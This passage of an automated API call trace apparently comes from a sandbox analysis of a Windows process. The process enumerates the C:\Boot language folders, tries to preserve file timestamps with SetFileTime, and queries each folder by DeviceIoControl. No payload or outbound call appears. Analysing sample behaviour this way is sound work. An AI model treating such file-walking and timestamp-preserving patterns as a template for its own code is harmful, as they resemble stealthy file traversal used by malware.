cFileName="nl-NL", cAlternateFileName="")) returned 1 [0138.950] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.950] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nl-NL" (normalized: "c:\\boot\\nl-nl"), fInfoLevelId=0x0, lpFileInformation=0x1a7f600 | out: lpFileInformation=0x1a7f600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0138.987] CreateFileW (lpFileName="C:\\Boot\\nl-NL" (normalized: "c:\\boot\\nl-nl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0138.987] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0138.987] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0138.987] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0138.987] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0138.987] NtClose (Handle=0x194) returned 0x0 [0138.987] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.987] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.987] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eae8 [0138.987] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ea60 [0138.987] FindFirstFileExW (in: lpFileName="C:\\Boot\\nl-NL\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x81fcd8 [0138.987] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.987] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0138.987] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.987] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.987] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.987] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.987] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.987] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984380 [0138.988] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984b10 [0138.988] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.988] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0138.988] GetLastError () returned 0x12 [0138.988] FindFirstFileExW (in: lpFileName="C:\\Boot\\nl-NL\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x839060 [0138.988] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0138.988] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.988] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0138.988] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0138.988] GetLastError () returned 0x12 [0138.988] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ea60) returned 1 [0138.988] FindClose (in: hFindFile=0x839060 | out: hFindFile=0x839060) returned 1 [0138.988] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eae8) returned 1 [0138.988] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.988] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0138.988] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.988] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pl-PL" (normalized: "c:\\boot\\pl-pl"), fInfoLevelId=0x0, lpFileInformation=0x1a7f600 | out: lpFileInformation=0x1a7f600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0138.988] CreateFileW (lpFileName="C:\\Boot\\pl-PL" (normalized: "c:\\boot\\pl-pl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0138.989] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0138.989] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0138.989] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0138.989] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0138.989] NtClose (Handle=0x15c) returned 0x0 [0138.989] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.989] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.989] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eae8 [0138.989] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ea60 [0138.989] FindFirstFileExW (in: lpFileName="C:\\Boot\\pl-PL\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x81fcd8 [0138.989] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.989] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0138.989] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.989] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.989] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.989] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.989] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.989] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x9843a0 [0138.989] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984b98 [0138.989] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.989] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0138.989] GetLastError () returned 0x12 [0138.989] FindFirstFileExW (in: lpFileName="C:\\Boot\\pl-PL\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x839060 [0138.989] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0138.989] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.990] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0138.990] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0138.990] GetLastError () returned 0x12 [0138.990] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ea60) returned 1 [0138.990] FindClose (in: hFindFile=0x839060 | out: hFindFile=0x839060) returned 1 [0138.990] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eae8) returned 1 [0138.990] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.990] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0138.990] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.990] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-BR" (normalized: "c:\\boot\\pt-br"), fInfoLevelId=0x0, lpFileInformation=0x1a7f600 | out: lpFileInformation=0x1a7f600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0139.051] CreateFileW (lpFileName="C:\\Boot\\pt-BR" (normalized: "c:\\boot\\pt-br"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0139.052] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0139.052] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0139.052] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0139.052] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0139.052] NtClose (Handle=0x194) returned 0x0 [0139.052] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0139.052] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0139.052] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eae8 [0139.052] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ea60 [0139.052] FindFirstFileExW (in: lpFileName="C:\\Boot\\pt-BR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x81fcd8 [0139.052] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.052] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0139.052] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.052] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.052] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.052] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.052] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.052] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x9843c0 [0139.052] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984c20 [0139.052] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.052] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0139.052] GetLastError () returned 0x12 [0139.052] FindFirstFileExW (in: lpFileName="C:\\Boot\\pt-BR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x839060 [0139.053] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0139.053] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.053] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0139.053] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0139.053] GetLastError () returned 0x12 [0139.053] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ea60) returned 1 [0139.053] FindClose (in: hFindFile=0x839060 | out: hFindFile=0x839060) returned 1 [0139.053] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eae8) returned 1 [0139.053] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0139.053] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0139.053] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0139.053] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-PT" (normalized: "c:\\boot\\pt-pt"), fInfoLevelId=0x0, lpFileInformation=0x1a7f600 | out: lpFileInformation=0x1a7f600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0139.053] CreateFileW (lpFileName="C:\\Boot\\pt-PT" (normalized: "c:\\boot\\pt-pt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0139.053] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0139.053] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0139.053] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0139.053] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0139.053] NtClose (Handle=0x15c) returned 0x0 [0139.054] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0139.054] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0139.054] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eae8 [0139.054] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ea60 [0139.054] FindFirstFileExW (in: lpFileName="C:\\Boot\\pt-PT\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x81fcd8 [0139.054] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.054] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, 